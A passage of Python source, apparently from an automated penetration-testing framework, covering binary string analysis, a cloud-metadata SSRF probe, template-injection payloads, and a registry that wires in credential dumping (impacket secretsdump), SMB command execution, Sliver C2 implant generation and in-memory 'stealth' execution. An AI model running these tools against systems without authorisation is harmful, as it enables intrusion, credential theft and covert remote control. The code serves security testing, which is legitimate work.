project_dir = tempfile.mkdtemp(prefix="ghidra_")
project_name = "phalanx_analysis"
script_path = Path(project_dir) / "FindStringsScript.java"
script_path.write_text("""
import ghidra.app.script.GhidraScript;
import ghidra.program.model.listing.*;
import java.util.*;
public class FindStringsScript extends GhidraScript {
@Override
protected void run() throws Exception {
List<String> interesting = new ArrayList<>();
DataIterator data = currentProgram.getListing().getDefinedData(true);
while (data.hasNext()) {
Data d = data.next();
if (d.getValue() instanceof String) {
String s = (String) d.getValue();
if (s.length() > 4 && s.matches(".*[a-zA-Z0-9_].*")) {
if (s.contains("pass") || s.contains("key") || s.contains("token") || s.contains("admin"))
interesting.add(s);
}
}
}
println("INTERESTING_STRINGS:" + String.join(",", interesting));
}
}
""")
cmd = [analyze_cmd, project_dir, project_name, "-import", binary_path, "-postScript", str(script_path)]
try:
res = _execute_in_sandbox(cmd, timeout, config=config)
output = res["output"]
interesting = []
if "INTERESTING_STRINGS:" in output:
part = output.split("INTERESTING_STRINGS:")[1].splitlines()[0]
interesting = part.split(",")
functions_count = output.count("Function at")
shutil.rmtree(project_dir, ignore_errors=True)
return {
"tool": "ghidra_analyze",
"target": binary_path,
"output": output,
"parsed": {
"functions_count": functions_count,
"interesting_strings": interesting[:10],
"vulnerabilities": []
},
"error": res["error"],
"rc": res["rc"]
}
except Exception as e:
shutil.rmtree(project_dir, ignore_errors=True)
logger.warning(f"Ghidra analysis failed: {e}, falling back to basic tools")
result = {
"tool": "ghidra_analyze",
"target": binary_path,
"output": "",
"parsed": {
"functions_count": 0,
"interesting_strings": [],
"vulnerabilities": []
},
"error": None,
"rc": 0
}
output_lines = []
try:
file_res = subprocess.run(["file", binary_path], capture_output=True, text=True, timeout=10)
if file_res.returncode == 0:
output_lines.append(f"File info: {file_res.stdout.strip()}")
result["parsed"]["file_type"] = file_res.stdout.strip()
except Exception as e:
logger.warning(f"file command failed: {e}")
try:
strings_res = subprocess.run(["strings", binary_path], capture_output=True, text=True, timeout=60)
if strings_res.returncode == 0:
all_strings = strings_res.stdout.splitlines()
interesting_patterns = ['pass', 'key', 'token', 'secret', 'admin', 'password', 'api_key', 'auth', 'credential']
interesting = [s for s in all_strings if any(p in s.lower() for p in interesting_patterns)]
result["parsed"]["interesting_strings"] = interesting[:20]
output_lines.append(f"Found {len(interesting)} interesting strings (e.g., {interesting[0] if interesting else 'none'})")
except Exception as e:
logger.warning(f"strings command failed: {e}")
try:
objdump_res = subprocess.run(["objdump", "-T", binary_path], capture_output=True, text=True, timeout=30)
if objdump_res.returncode == 0:
func_lines = [l for l in objdump_res.stdout.splitlines() if 'DF' in l or 'FUNC' in l]
result["parsed"]["functions_count"] = len(func_lines)
output_lines.append(f"Found {len(func_lines)} function symbols")
except Exception as e:
logger.warning(f"objdump command failed: {e}")
result["output"] = "\n".join(output_lines)
if not result["parsed"]["interesting_strings"] and result["parsed"]["functions_count"] == 0:
result["error"] = "Ghidra not installed and basic analysis limited. Install Ghidra: sudo apt install ghidra"
return result
# ------------------------------------------------------------------
# New tools: cloud metadata probe and template injection test
# ------------------------------------------------------------------
def run_cloud_metadata_probe(target: str, timeout=30, config=None) -> Dict:
"""Test common SSRF/cloud metadata endpoints."""
urls = [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/computeMetadata/v1/",
"http://metadata.google.internal/computeMetadata/v1/"
]
results = {}
for url in urls:
res = _execute_in_sandbox(["curl", "-s", "-m", "5", url], timeout, config=config)
results[url] = res["output"][:200]
output = json.dumps(results, indent=2)
return {"tool": "cloud_metadata_probe", "target": target, "output": output, "rc": 0}
def run_template_injection_test(target: str, timeout=60, config=None) -> Dict:
"""Basic template injection probe using common payloads."""
payloads = ["{{7*7}}", "${7*7}", "<%= 7*7 %>", "${{7*7}}"]
results = {}
for payload in payloads:
# Try to inject into URL parameters (simplistic)
test_url = f"{target}?test={payload}"
res = _execute_in_sandbox(["curl", "-s", test_url], timeout, config=config)
if "49" in res["output"] or "49" in res.get("error", ""):
results[payload] = "Potential injection detected"
else:
results[payload] = "No immediate eval"
output = json.dumps(results, indent=2)
return {"tool": "template_injection_test", "target": target, "output": output, "rc": 0}
# ------------------------------------------------------------------
# Helper functions for impacket tools
# ------------------------------------------------------------------
def _impacket_secretsdump_wrapper(target: str, args="", config=None):
return run_impacket(target, "secretsdump", args, config=config)
def _impacket_smbexec_wrapper(target: str, args="", config=None):
return run_impacket(target, "smbexec", args, config=config)
# ------------------------------------------------------------------
# Tool registry with parser functions (thread-safe)
# ------------------------------------------------------------------
_TOOL_REGISTRY_LOCK = threading.RLock()
TOOL_REGISTRY: Dict[str, Dict] = {}
SKILL_REGISTRY: Dict[str, Dict] = {}
def _init_registries():
with _TOOL_REGISTRY_LOCK:
if TOOL_REGISTRY:
return
registry_entries = {
"nmap": {"fn": run_nmap, "desc": "Full port scan", "tags": ["recon", "network"], "parser": parse_nmap_output},
"nmap_quick": {"fn": run_nmap_quick, "desc": "Fast top-1000 scan", "tags": ["recon", "network"], "parser": parse_nmap_output},
"whois": {"fn": run_whois, "desc": "WHOIS lookup", "tags": ["recon", "osint"]},
"dig": {"fn": run_dig, "desc": "DNS lookup", "tags": ["recon", "dns"]},
"subfinder": {"fn": run_subfinder, "desc": "Subdomain enumeration", "tags": ["recon", "dns"], "parser": parse_subfinder_output},
"theharvester": {"fn": run_theharvester, "desc": "Email/domain OSINT", "tags": ["osint"]},
"enum4linux": {"fn": run_enum4linux, "desc": "SMB enumeration", "tags": ["recon", "smb"]},
"httpx": {"fn": run_httpx, "desc": "Live host probing", "tags": ["recon", "web"], "parser": parse_httpx_output},
"nuclei": {"fn": run_nuclei, "desc": "Vulnerability scanner", "tags": ["recon", "vuln"], "parser": parse_nuclei_output},
"naabu": {"fn": run_naabu, "desc": "Fast port scanner", "tags": ["recon", "network"], "parser": parse_naabu_output},
"katana": {"fn": run_katana, "desc": "Web crawler", "tags": ["recon", "web"]},
"dnsx": {"fn": run_dnsx, "desc": "DNS enumeration", "tags": ["recon", "dns"]},
"gau": {"fn": run_gau, "desc": "Passive URL gathering", "tags": ["recon", "osint"]},
"nikto": {"fn": run_nikto, "desc": "Web vulnerability scanner", "tags": ["web", "vuln"]},
"whatweb": {"fn": run_whatweb, "desc": "Web technology fingerprint", "tags": ["web", "recon"]},
"gobuster": {"fn": run_gobuster, "desc": "Directory brute‑force", "tags": ["web", "bruteforce"]},
"ffuf": {"fn": run_ffuf, "desc": "Web fuzzing", "tags": ["web", "bruteforce"]},
"wpscan": {"fn": run_wpscan, "desc": "WordPress scanner", "tags": ["web", "cms"]},
"scrape": {"fn": run_scrape, "desc": "Web scraping (emails, links)", "tags": ["web", "osint"], "parser": parse_scrape_output},
"sqlmap": {"fn": run_sqlmap, "desc": "Full SQL injection", "tags": ["exploit", "sqli"], "parser": parse_sqlmap_output},
"sqlmap_detect": {"fn": run_sqlmap_detect, "desc": "SQLi detection (safe)", "tags": ["exploit", "sqli"], "parser": parse_sqlmap_output},
"msfconsole": {"fn": run_msfconsole, "desc": "Metasploit resource script", "tags": ["exploit", "framework"]},
"searchsploit": {"fn": run_searchsploit, "desc": "Exploit database search", "tags": ["exploit"]},
"impacket_secretsdump": {"fn": _impacket_secretsdump_wrapper, "desc": "Dump credentials", "tags": ["post", "creds"]},
"impacket_smbexec": {"fn": _impacket_smbexec_wrapper, "desc": "SMB command exec", "tags": ["post", "smb"]},
"sliver_generate": {"fn": run_sliver_generate, "desc": "Generate Sliver implant", "tags": ["c2"]},
"sliver_sessions": {"fn": run_sliver_sessions, "desc": "List Sliver sessions", "tags": ["c2"]},
"stealth_rce": {"fn": run_stealth_rce, "desc": "In‑memory ELF execution", "tags": ["exploit", "evasion"]},
"copyright_osint": {"fn": run_copyright_osint, "desc": "Copyright OSINT scan", "tags": ["osint", "compliance"]},
"burp_scan": {"fn": run_burp_scan, "desc": "Burp Suite scan", "tags": ["web", "vuln"]},
"ghidra_analyze": {"fn": run_ghidra_analyze, "desc": "Ghidra binary analysis", "tags": ["recon", "binary"], "parser": parse_ghidra_output},
"cloud_metadata_probe": {"fn": run_cloud_metadata_probe, "desc": "Cloud metadata SSRF probe", "tags": ["recon", "ssrf"]},
"template_injection_test": {"fn": run_template_injection_test, "desc": "Template injection probe", "tags": ["exploit", "ssti"]},
}
TOOL_REGISTRY.update(registry_entries)
skill_entries = {
"nmap": {"phase": "recon", "mitre": ["T1595", "T1046"], "desc": "Port scanning"},
"nmap_quick": {"phase": "recon", "mitre": ["T1595"], "desc": "Fast port scan"},
"whois": {"phase": "recon", "mitre": ["T1591"], "desc": "WHOIS lookup"},
"dig": {"phase": "recon", "mitre": ["T1590.002"], "desc": "DNS enumeration"},
"subfinder": {"phase": "recon", "mitre": ["T1590.002"], "desc": "Subdomain discovery"},
"theharvester": {"phase": "recon", "mitre": ["T1591"], "desc": "Email/domain OSINT"},
"enum4linux": {"phase": "recon", "mitre": ["T1590.005"], "desc": "SMB enumeration"},
"httpx": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Live host probing"},
"nuclei": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Vulnerability scanning"},
"naabu": {"phase": "recon", "mitre": ["T1046"], "desc": "Fast port scanner"},
"katana": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Web crawler"},
"dnsx": {"phase": "recon", "mitre": ["T1590.002"], "desc": "DNS enumeration"},
"gau": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Passive URL gathering"},
"nikto": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Web vuln scanner"},
"whatweb": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Web technology fingerprint"},
"gobuster": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Directory brute‑force"},
"ffuf": {"phase": "recon", "mitre": ["T1595.002"], "desc": "Web fuzzing"},
"wpscan": {"phase": "recon", "mitre": ["T1595.002"], "desc": "WordPress scanner"},
"scrape": {"phase": "recon", "mitre": ["T1593"], "desc": "Web scraping"},
"sqlmap": {"phase": "exploit", "mitre": ["T1190"], "desc": "SQL injection"},
"sqlmap_detect": {"phase": "exploit", "mitre": ["T1190"], "desc": "SQLi detection"},
"msfconsole": {"phase": "exploit", "mitre": ["T1190", "T1210"], "desc": "Metasploit"},
"searchsploit": {"phase": "exploit", "mitre": ["T1588.005"], "desc": "Exploit database search"},
"impacket_secretsdump": {"phase": "post", "mitre": ["T1003"], "desc": "Dump credentials"},
"impacket_smbexec": {"phase": "post", "mitre": ["T1021.002"], "desc": "SMB command execution"},
"sliver_generate": {"phase": "post", "mitre": ["T1587.001"], "desc": "Generate C2 implant"},
"sliver_sessions": {"phase": "post", "mitre": ["T1059"], "desc": "List C2 sessions"},
"stealth_rce": {"phase": "post", "mitre": ["T1059", "T1106"], "desc": "Memory‑only execution"},
"copyright_osint": {"phase": "osint", "mitre": ["T1592", "T1593"], "desc": "Copyright OSINT"},
"burp_scan": {"phase": "vuln", "mitre": ["T1190"], "desc": "Burp vulnerability scan"},
"ghidra_analyze": {"phase": "recon", "mitre": ["T1592"], "desc": "Binary analysis"},
"cloud_metadata_probe": {"phase": "recon", "mitre": ["T1557"], "desc": "Cloud metadata SSRF probe"},
"template_injection_test": {"phase": "exploit", "mitre": ["T1190"], "desc": "Template injection probe"},
}
SKILL_REGISTRY.update(skill_entries)
_init_registries()
def list_tools() -> List[Dict]:
with _TOOL_REGISTRY_LOCK:
return [{"name": k, "desc": v["desc"], "tags": v["tags"], "phase": SKILL_REGISTRY.get(k, {}).get("phase", "unknown")} for k, v in TOOL_REGISTRY.items()]
def get_skill_metadata(tool_name: str) -> Dict:
with _TOOL_REGISTRY_LOCK:
return SKILL_REGISTRY.get(tool_name, {})
def run_tool(tool_name: str, config: Optional[dict] = None, parse_output: bool = True, **kwargs) -> Dict:
with _TOOL_REGISTRY_LOCK:
entry = TOOL_REGISTRY.get(tool_name)
if not entry:
return {"tool": tool_name, "output": "", "parsed": {}, "error": f"Unknown tool: {tool_name}", "rc": -1}
try:
fn = entry["fn"]
sig = inspect.signature(fn)
if "config" in sig.parameters:
result = fn(**kwargs, config=config)
else:
result = fn(**kwargs)
if parse_output and "parser" in entry and entry["parser"]:
try:
parsed = entry["parser"](result.get("output", ""), kwargs)
result["parsed_structured"] = parsed
except Exception as e:
logger.warning(f"Parser failed for {tool_name}: {e}")
return result
except TypeError as e:
return {"tool": tool_name, "output": "", "parsed": {}, "error": f"Bad arguments: {e}", "rc": -1}
def run_swarm_tool_batch(tool_list: List[str], target: str, config: Optional[dict] = None) -> Dict[str, Dict]:
results = {}
def _run_one(tool):
try:
return tool, run_tool(tool, config=config, target=target)
except Exception as e:
return tool, {"error": str(e), "rc": -1}
with ThreadPoolExecutor(max_workers=4) as executor:
futures = {executor.submit(_run_one, tool): tool for tool in tool_list}
for future in as_completed(futures):
tool, res = future.result()
results[tool] = res
return results
# ------------------------------------------------------------------
# Lightweight RAG Tool Optimizer (embedding cache + similarity retrieval)
# ------------------------------------------------------------------
_TOOL_EMBEDDING_CACHE: Dict[str, List[float]] = {}
_EMBEDDING_CACHE_LOCK = threading.RLock()
_EMBEDDING_MODEL = "nomic-embed-text"
def _get_embedding(text: str, gateway: Optional["Gateway"] = None) -> Optional[List[float]]:
if gateway is not None and hasattr(gateway, "get_embedding"):